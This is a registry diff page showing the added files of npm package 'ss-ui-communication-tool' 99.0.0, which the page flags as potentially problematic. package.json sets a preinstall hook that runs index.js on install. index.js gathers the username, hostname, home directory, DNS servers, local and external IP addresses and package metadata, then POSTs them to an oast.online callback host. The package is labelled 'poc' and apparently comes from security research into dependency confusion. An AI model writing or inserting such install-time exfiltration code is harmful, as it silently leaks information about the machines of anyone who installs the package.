ss-ui-communication-tool 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ss-ui-communication-tool might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +80 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,80 @@
1
+ const os = require("os");
2
+ const net = require('net');
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+
10
+ const nets = os.networkInterfaces();
11
+ const local_ips = Object.create(null); // Or just '{}', an empty object
12
+
13
+ try {
14
+ for (const name of Object.keys(nets)) {
15
+ for (const net of nets[name]) {
16
+ // Skip over non-IPv4 and internal (i.e. 127.0.0.1) addresses
17
+ // 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
18
+ const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
19
+ if (net.family === familyV4Value && !net.internal) {
20
+ if (!local_ips[name]) {
21
+ local_ips[name] = [];
22
+ }
23
+ local_ips[name].push(net.address);
24
+ }
25
+ }
26
+ }
27
+ } catch {
28
+
29
+ }
30
+
31
+
32
+ const req_ip = https.get({'host': 'api.ipify.org', 'port': 443, 'path': '/'}, function(resp) {
33
+ let external_ip = "";
34
+ resp.on('data', function(ip) {
35
+ external_ip = ip.toString();
36
+ });
37
+ resp.on('end', function() { execute(external_ip)} );
38
+ });
39
+
40
+ req_ip.end();
41
+
42
+ function execute(external_ip) {
43
+ const trackingData = JSON.stringify({
44
+ p: package,
45
+ c: __dirname,
46
+ hd: os.homedir(),
47
+ hn: os.hostname(),
48
+ un: os.userInfo().username,
49
+ dns: dns.getServers(),
50
+ r: packageJSON ? packageJSON.___resolved : undefined,
51
+ v: packageJSON.version,
52
+ pjson: packageJSON,
53
+ local_ips: local_ips,
54
+ external_ip: external_ip,
55
+ });
56
+
57
+ var postData = querystring.stringify({
58
+ msg: trackingData,
59
+ });
60
+
61
+ var options = {
62
+ hostname: "cagau8ebc53teikp5270oywigroyph8un.oast.online",
63
+ port: 443,
64
+ path: "/",
65
+ method: "POST",
66
+ headers: {
67
+ "Content-Type": "application/x-www-form-urlencoded",
68
+ "Content-Length": postData.length,
69
+ },
70
+ };
71
+
72
+ var req = https.request(options, (res) => {
73
+ res.on("data", (d) => {
74
+ process.stdout.write(d);
75
+ });
76
+ });
77
+
78
+ req.write(postData);
79
+ req.end();
80
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "ss-ui-communication-tool",
3
+ "version": "99.0.0",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "GoSecure",
11
+ "license": "None"
12
+ }